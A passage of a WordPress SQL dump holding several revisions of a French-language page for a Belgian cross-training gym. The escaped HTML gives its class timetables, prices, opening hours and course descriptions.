5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:30:27', '2013-07-03 17:30:27', '', 11, 'http://www.crosstrainingcenter.be/?p=186', 0, 'revision', '', 0);
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(185, 1, '2013-07-03 17:28:40', '2013-07-03 17:28:40', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;JEUDI&lt;/td&gt;\r\n&lt;td  class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td  class=\&quot;ttitre\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td  class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:28:40', '2013-07-03 17:28:40', '', 11, 'http://www.crosstrainingcenter.be/?p=185', 0, 'revision', '', 0),
(184, 1, '2013-07-03 17:24:45', '2013-07-03 17:24:45', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot; &gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot; &gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot; &gt;JEUDI&lt;/td&gt;\r\n&lt;td  class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td  class=\&quot;ttitre\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td  class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr 